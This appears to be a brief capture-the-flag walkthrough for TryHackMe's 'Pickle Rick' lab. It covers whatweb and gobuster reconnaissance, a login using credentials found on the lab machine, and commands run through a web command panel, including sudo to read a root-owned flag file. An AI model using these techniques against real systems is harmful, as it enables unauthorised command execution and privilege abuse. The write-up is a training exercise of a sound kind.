Pickle Rick

Pickle Rick Lab in https://tryhackme.com

Analysis

ip: 10.10.238.199 [change every time machine launched]

username: `R1ckRul3s`

maybe-password: `Wubbalubbadubdub`

Recon:

Get a info that it is using apache with **whatweb**

```
[ Apache ]
        The Apache HTTP Server Project is an effort to develop and
        maintain an open-source HTTP server for modern operating
        systems including UNIX and Windows NT. The goal of this
        project is to provide a secure, efficient and extensible
        server that provides HTTP services in sync with the current
        HTTP standards.

        Version      : 2.4.18 (from HTTP Server Header)
        Google Dorks: (3)
        Website      : http://httpd.apache.org/
```

Now use gobuster with payload from seclists of php common files name

- Got a match `login.php`
- Login with previous crediential username: `R1ckRul3s` and password: `Wubbalubbadubdub`

1. First Flag
execute a command like `ls` in the command box

output:

```
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
```

See the content of `Sup3rS3cretPickl3Ingred.txt` text file

```
less Sup3rS3cretPickl3Ingred.txt
```

output the first ingredient

2. Second Flag

```
sudo
ls ../../../*
```

Now list all the content of home directory for `../../../home/rick`

```
less ../../../home/rick/second\
ingredients
```

output the second ingredient

3. Third Flag

There is a `3rd.txt` file in the `../../../root` directory
see the the content of this file

```
sudo less ../../../root/3rd.txt
```

output the third ingredient